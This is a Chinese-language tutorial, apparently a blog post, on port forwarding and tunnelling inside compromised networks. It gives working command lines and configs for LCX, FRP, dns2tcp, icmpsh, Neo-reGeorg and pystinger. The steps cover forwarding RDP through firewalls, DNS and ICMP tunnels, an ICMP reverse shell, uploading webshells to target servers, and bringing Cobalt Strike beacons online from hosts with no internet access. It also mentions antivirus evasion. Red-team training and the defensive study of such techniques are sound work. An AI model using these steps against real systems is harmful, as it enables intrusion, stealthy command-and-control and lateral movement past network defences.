端口转发与内网代理

端口转发与代理

端口转发

端口转发(Port Forwarding)是网络地址转换(NAT)的一种应用。通过端口转发,一个网络端口上收到的数据可以被转发给另一个网络端口。转发的端口可以是本机的端口,也可以是其他主机的端口。在现实环境中,内网部署的各种防火墙和入侵检测设备会检查敏感端口上的连接情况,如果发现连接存在异样就会立即阻断通信。通过端口转发,将这个被检测的敏感端口的数据转发到防火墙允许的端口上,建立起一个通信隧道,可以绕过防火墙的检测,并与指定端口进行通信

端口映射(Port Mapping)也是网络地址转换(NAT)的一种应用,用于把公网的地址翻译成私有地址。端口映射可以将外网主机收到的请求映射到内网主机上,使得没有公网P地址的内网主机能够对外提供相应的服务

SOCKS代理

SOCKS全称为Protocol For Sessions Traversal Across Firewall Securely,是一种代理协议,标准端口为1080。SOCKS代理有SOCKS4和SOCKS5两个版本,SOCKS4只支持TCP,SOCKS5在SOCKS4的基础上进一步扩展,支持UDP和各种身份验证机制等协议。采用SOCKS协议的代理服务器被称为SOCKS服务器,这是一种通用的代理服务器,在网络通信中扮演着一个请求代理人的角色。在内网渗透中,通过搭建SOCKS代理,可以与目标内网主机进行通信,避免多次使用端口转发

image-20230329090902472

根据OSI模型SOCKS是会话层的协议, SOCKS代理位于表示层与传输层之间,使用TCP协议传输数据,因此不提供如传递ICMP信息之类的网络层服务(这就是为什么我们挂了socks代理之后还是不能直接ping同内网主机的原因)

使用Socks代理需要配置下面信息:

SOCKS服务器的IP地址
SOCKS服务所在端口
SOCKS服务是否需要身份验证

常见转发与代理工具
LCX

LCX是一款十分经典的内网端口转发工具,基于Socket套接字,具有端口转发和端口映射的功能。但是目前很多杀毒软件已经将LCX加入了特征库,在实际利用时需要自行做免杀处理(Windows版是lcx.exe,,Linux版为portmap

端口转发(listen和slave成对使用)

端口映射(tran)

目标机器无公网IP

  • 内网主机上执行:lcx.exe –slave 公网主机IP 公网主机端口 内网主机IP 内网主机端口
1
2
lcx.exe -slave 公网主机ip 4444 127.0.0.1 3389
#把内网主机的3389端口转发到具有公网IP主机的4444端口
  • 公网主机上执行: lcx.exe –listen 公网主机端口1 公网主机端口2
1
2
lcx.exe –listen 4444 5555
#监听公网主机本机的4444端口请求,并将来自4444端口的请求传送给5555端口

通过连接公网主机得5555端口即可访问内网主机的3389服务

目标机器有公网IP

由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口传到防火墙允许的其他端口,如53端口,目标主机上执行:

1
lcx.exe -tran 53 目标主机ip 3389
FRP

FRP是一个专注于内网穿透的高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS等协议,可以将内网服务以安全、便捷的方式,通过具有公网IP节点的中转暴露到公网。在进行内网渗透中,FRP是一款常用的隧道工具,支持搭建SOCKS5代理应用

FRP有Windows系统和Linux系统两个版本,主要包含以下文件:frps,服务端程序;frps.ini,服务端配置文件;frpc,客户端程序,frpc.ini,客户端配置文件

隧道搭建
出网

拿到服务器权限之后,遇见这种机器,十分简单,针对不同情况搭建不同隧道,为了速度可以建立sockets隧道、为了隐蔽可以使用dns隧道、icmp隧道等

frp

frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网

项目地址:https://github.com/fatedier/frp/

下载之后,我们只需要关注四个文件即可:

  • frps
  • frps.ini
  • frpc
  • frpc.ini

修改frpc.ini,这里搭建sockets隧道,上传至目标服务器启动即可

1
./frpc -c frpc.ini
image-20230324091229776

服务端根据frps.ini修改端口

image-20230324091244233

启动监听

1
./frps -c frps.ini

即可建立sockets隧道,利用Proxifierprox等,即可全局代理隧道,访问目标主机内网

dns

这个比较麻烦需要准备一个域名,和一台DNS服务器,在域名解析添加一条NS记录和一条A记录。举个例子,域名是http://123.com,添加一个子域名http://a.123.com,且类型为NS,并将NS记录指向http://b.123.com,然后将http://b.123.com建立A记录服务器IP即可,利用的工具也很多,本文简单介绍dns2tcp

1
2
a.123.com NS b.123.com
b.123.com A 1.1.1.1

项目地址:https://github.com/HEYAHONG/dns2tcp

客户端

1
2
3
4
dns2tcpc -r nc -z a.123.com 1.1.1.1 -l 8888 -d 2  
-r 后接服务名称任意换, 本文用nc
-z 后接NS记录的网址
-l 后接本地端口

服务端 修改dns2tcpd.conf

1
2
3
4
5
6
7
listen = 0.0.0.0
port = 53
user = root
chroot = /home/
domain = a.123.com
key = 123
resources = ssh:127.0.0.1:22,smtp:127.0.0.1:25,socks:127.0.0.1:1080,http:127.0.0.1:80,https:127.0.0.1:8080

然后执行,dns隧道就搭建好了,利用nc进行传输文件即可

1
dns2tcpd -F -d 3 -f /home/dns2tcpd.conf

建立传输

image-20230324091502991

目标主机监听并接受文件即可

image-20230324091520184

icmp

icmp隧道主要因为大部分防火墙不会屏蔽 ping ,所以可以将流量封装在icmp进行传输,这种速度跟sockets相比太慢了,特殊情况才会使用。

项目地址:https://github.com/inquisb/icmpsh

服务端: python icmpsh_m.py ip 目标ip

目标机

1
icmpsh.exe -t 目标ip

即可反弹icmp隧道shell回来

image-20230324091604096
不出网

拿到服务器权限之后,遇见这种机器,只能利用基于webshell的代理,只需要将webshell上传到目标主机即可,然后建立tcp连接,主要利用session来识别不同的的tcp连接,我们攻击监听tcp,将数据post提交到webshell即可进行传输

Neo-reGeorg

Neo-reGeorg相当于是 reGeorg的升级版,有了更强的隐蔽性,原理都是相同的,常用于webshell代理流量,进而进行内网渗透

项目地址:https://github.com/L-codes/Neo-reGeorg

首先需要设置密码,生成各种类型webshell,并上传至目标服务器

1
python neoreg.py generate -k password
image-20230324091925582

上传至服务器,然后启动监听

1
python neoreg.py -k password -u http://1.1.1.1/tunnel.php

最后挂上sockets代理即可访问内网

pystinger

毒刺(pystinger)通过webshell实现内网socks4代理,并且可以利用pystinge实现各种csmsf上线,目前仅支持php、jsp(x)、aspx.

项目地址:https://github.com/FunnyWolf/pystinger

这个工具比较强大,这里可以直接上线cs,简单介绍如何搭建socks4以及cs上线

socks4隧道搭建: 首先上传proxy.php,然后上传stinger_server.exe 到目标服务器,并start命令运行该程序

image-20230324091953748

最后在我们的服务器执行

1
./stinger_client -w http://1.1.1.1/proxy.php -l 0.0.0.0 -p 60000

即可建立socks4隧道,利用Proxifierprox等,访问目标主机内网。

cs上线: 前面大体相同,首先上传proxy.php,然后上传stinger_server.exe 到目标服务器,启动利用冰蝎start启动即可

我们的服务器也需要进行监听

1
./stinger_client -w http://1.1.1.1/proxy.php -l 0.0.00 -p 60000

然后cs进行监听,端口填写60020

image-20230324092014425

进而利用cs生成powershell

image-20230324092027146

执行可以利用pystinger,进行不出网主机上线

image-20230324092039398